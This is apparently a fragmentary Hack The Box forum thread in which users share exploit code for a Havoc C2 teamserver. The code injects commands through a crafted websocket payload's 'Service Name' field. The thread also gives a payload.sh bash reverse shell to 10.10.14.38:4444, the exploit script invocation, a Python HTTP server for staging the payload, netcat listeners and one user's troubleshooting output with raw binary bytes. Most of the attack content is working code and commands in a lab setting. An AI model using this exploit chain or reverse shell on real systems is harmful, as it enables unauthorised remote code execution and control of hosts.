payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\"" + injection + "\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)



Then

create
Payload.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.38/4444 0>&1

python3 rce.py --target https://10.10.11.49/ -i 127.0.0.1 -p 40056

python3 -m http.server 8000

nc -lvnp 4444

How were you able to find this information?
f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
f"Sec-WebSocket-Version: 13\r\n"

Requesting any legitimate endpoints on the teamserver via SSRF (/home/ & /havoc/) appends the 'Sec-WebSocket-Version: 13' header. The key is a nonce, just craft your own.

[0mniscient]

Any solution to tha python error?

[silentXO]

Am getting no shell even after the script runs successfully

command : python3 havoc.py --target https://10.10.11.49/ -i 127.0.0.1 -p 40056

python3 -m http.server --bind 10.10.14.28 -p 8000
Serving HTTP on 10.10.14.28 port 8000 (http://10.10.14.28:8000/) ...
10.10.11.49 - - [20/Jan/2025 00:12:25] "GET /payload.sh HTTP/1.1" 200 -


\x0b\xee"g\xbe4\xd7\xb1\x0e\xbf.\xf32U\x8aDY\xdf\xd6_uF(\x02\xbea\x86\x1f\xb3\xc7Xrd}\xfcns2\xecvv\x01\x9e8Y\xbd\xcb\xd3\xe1\x1a\xef\xfa\x91\xf2\xcc\x0b\xdf\x9cr\xc4\xd5\xa8\x10S6\xc4\xe7\xc7Hi\xb2x\xd3\x97\x8d\xea\x17\xd8D\xb4Ch\xbe\x0f\xff\x13\x04d{\xbe,\x82\xb5K\x13\xaf\'\xf7\xe4\x84\x80\x84\x02~\x19g\x04\xaa\xde\xe6\xd4n\xc2\xa0M|\x8de\xd2q\\\x9b$\xfa\x86\n\x1bKcuF\xb1Ew.~?q\x80\x0e\x01\x97.\x99\xbf\xc0\xdf\xce_F\xfeC\x02(A?\x08\xc0\xe2N#\xd27\x94\x15\xb1\xe4\x8e\xe2V]\x13\xa5\x06\xa9\x1f\x1dVo\xa0\xa3Ix\xea\x87\xe0u\xf0<D\x96\xb0\xb5?ye\x87\xeb\xdfN9{\xaa\xc2\xee}\x9d\xb9\x9er\xfb\xfc\xf1\xb72>4:\x84\xc4A\xbc\xff<\xc4d\xcbe\xa0\x87\xfbi\xe6K|\'\xbcZ\xb6\x17\x8e{\xec\r\xa0J\x8b\xa2\x8aJ\x14R\xa7>\x1c\xec\xe0P\xa2A\xb4\xdbW\xf1W(3_pW\xff6@\x06\x87\xdfi\xfc\xb8\xe9\x14\x91\xd5\x04\xc4c \xdb\x7f\xe3A\x1f\xc7`FW\xdd\xc9\x08\xc3dc9d^\xf2*P\x13\xc8\x92_n\xd9\xf3\xbf\x88\xd8F\xf0\xd2\xfeJH\xdc\xdc\xd9\x83t|[H\xa6p\xdbI\xa8\xd4I_V\xd3h\xa7x\x8a\x90\xe7\xde\xad\x99 \x84\x005\x0eZ\'\x91\xb9\x8cu\xa4\xcb\x86L4\xdc\xe8\x83^\xfa\nS|\xb0<'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

Desktop intel payload.sh Templates
root@htb-9j6fxxm1jg:~# nc -lnvp 4444
listening on [any] 4444 ...
^C
root@htb-9j6fxxm1jg:~# nc -lvnp 4444
listening on [any] 4444 ...